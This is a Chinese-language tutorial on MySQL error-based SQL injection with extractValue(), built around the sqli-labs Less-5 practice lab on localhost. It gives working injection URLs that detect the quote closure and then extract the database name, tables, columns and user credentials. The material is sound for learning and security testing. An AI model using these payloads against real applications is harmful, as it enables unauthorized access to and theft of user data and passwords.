前情提要
extractValue()
报错注入和updatexml()
报错注入功能几乎一样,里面很多函数和知识点都是互通的,若在本文中有没看懂的知识点,可在updatexml() 报错注入中查看详解
什么是报错注入
报错注入是一种页面响应形式,响应过程如下:
报错注入的基础
Error-based SQL injection(报错注入)
利用前提:
页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysqli_error()
优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息
需要回显
需求:
两个必要的不加区别就是:后台对于输入输出的合理性没有做检查
报错注入的思路
本章所用到的函数
extractValue()
语法
extractValue(参数一, 参数二)
参数一: XML 格式的字符串或字段。
参数二: 用于定位 XML 中数据的 XPath 表达式。
在sql注入中核心作用:
通过错误回显泄露数据
一,强制触发数据库错误
构造 非法的 XPath 表达式,利用 MySQL 的错误回显机制,将查询结果嵌入错误信息中。
示例:
SELECT extractValue(1, concat('~', (SELECT database())));
1.concat(‘~’, (SELECT database())) 会将当前数据库名拼接到 ~ 后(如 ~security)。
2.extractValue()
尝试解析 ~security 作为 XPath,但 ~
是非法字符,触发错误。
3.错误信息会显示 XPATH syntax error: '~security'
,从而泄露数据库名security
。
二.绕过数据回显限制
当目标页面不直接显示查询结果,但会返回错误信息时,攻击者可利用此方法间接获取数据。
使用时的注意事项
extractValue()在sql报错注入中只需要用到参数二,不需要参数一,所以参数一随便写即可
示例
本示例为sqli-labs 5
1.添加注入点
http://127.0.0.1/sql/Less-5/
?id=1
2.判断闭合方式
通过'
判断闭合方式
http://127.0.0.1/sql/Less-5/
?id=1' --+
3.查询库名
http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,(select database())))--+
4.查询表名
http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
5.查询列名
http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users")))--+
6.查询字段
http://127.0.0.1/sql/Less-5/
?id=1' and 1=extractValue(1,concat(0x23,substring((select group_concat(concat_ws(0x23,id,username,password)) from users),1,30)))--+
总结
本文主要介绍了 extractValue() 报错注入的相关知识,包括其与 updatexml() 报错注入的关联、报错注入的基本概念、思路、用到的函数以及具体示例。
如有问题欢迎在评论区讨论